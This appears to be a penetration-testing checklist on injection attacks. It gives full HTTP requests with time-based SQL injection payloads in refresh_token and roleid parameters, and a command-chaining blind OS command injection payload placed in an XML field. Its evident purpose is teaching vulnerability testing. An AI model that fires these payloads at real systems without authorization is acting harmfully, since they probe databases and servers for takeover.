Injection Attack
Check List
Methodology
Black Box
Log in to the site and complete the authentication process
Intercept requests while completing the authentication process using Burp Suite
During the authentication completion process, if the site uses the OAuth mechanism, check the requests to see if you see a parameter called refresh_token
And if the site uses REST APIs for authentication and sends data in JSON format, look for the refresh_token parameter
Test SQL injection payloads by finding this parameter at the specified points to identify the vulnerability, as shown below
POST /api/v1/token HTTP/1.1
Host: tsftp.example.com
User-Agent: curl/7.88.1
Accept: application/json
Content-Type: application/x-www-form-urlencoded
Content-Length: 65
Connection: close
{
"grant_type": "refresh_token",
"refresh_token": "'; WAITFOR DELAY '0:0:1'--"
}Another example is the refresh_token parameter, which is also used in Oauth
POST /oauth2/token HTTP/1.1
Host: <token-server.example.com>
Content-Type: application/x-www-form-urlencoded
Accept: application/json
Connection: close
grant_type=refresh_token&refresh_token='; WAITFOR DELAY '0:0:1'--&client_id=<CLIENT_ID>&client_secret=<CLIENT_SECRET>&scope=<optional_scopes>By injecting this code into this parameter, it may give us an error in response, but we should look at the response time to see if it really takes that long
Navigate to an API endpoint that processes JSON data, such as /api/user, /api/roles, /api/profile, or /api/data, typically requiring authentication via a token
Perform a login request to retrieve a valid token, ensuring access to the API endpoint that uses the roleid parameter
Locate the roleid parameter in the JSON body of the API request, often used to filter user roles or permissions and directly passed to a database query
POST /api/roles HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
Content-Length: [variable]
Authorization: Bearer [token]
Origin: https://example.com
Referer: https://example.com/api/roles
Connection: close
{"roleid": 1}Modify the roleid parameter with a simple time-based payload like 1 AND SLEEP(20) to induce a 20-second delay if the query executes
POST /api/roles HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
Content-Length: [variable]
Authorization: Bearer [token]
Origin: https://example.com
Referer: https://example.com/api/roles
Connection: close
{"roleid": "1 AND SLEEP(20)"}Use Burp Suite or curl to send the modified request and measure the response time. A ~20-second delay (21,131 ms) confirms the payload executed in the database
Send a non-delaying request with the original roleid value ({"roleid": 1}) or a neutral payload ({"roleid": "1 AND 1=1"}) to ensure no delay occurs, verifying the injection
XML field
When you identify an XML-based API endpoint (processing user data like number, email, or mobile), test fields such as <Number> for Blind OS Command Injection using time-delay payloads to confirm execution without visible output. Focus on common XML processing endpoints across enterprise or government web services
Capture a legitimate XML request using Burp Suite when submitting personal data through the web service (profile update, form submission)
Locate the target field (<Number>1234567890123</Number>) that accepts user input and is likely passed to a backend shell command
Send a baseline request with normal input and record the average response time (~56 ms)
Inject a cross-platform time-delay payload into the field using command chaining to force a ~10–15 second delay:
<Number>|ping -n 11 127.0.0.1||ping -c 11 127.0.0.1</Number>Measure the response time; if it increases significantly (~11,876 ms), it confirms blind command execution
White Box
Cheat Sheet
Last updated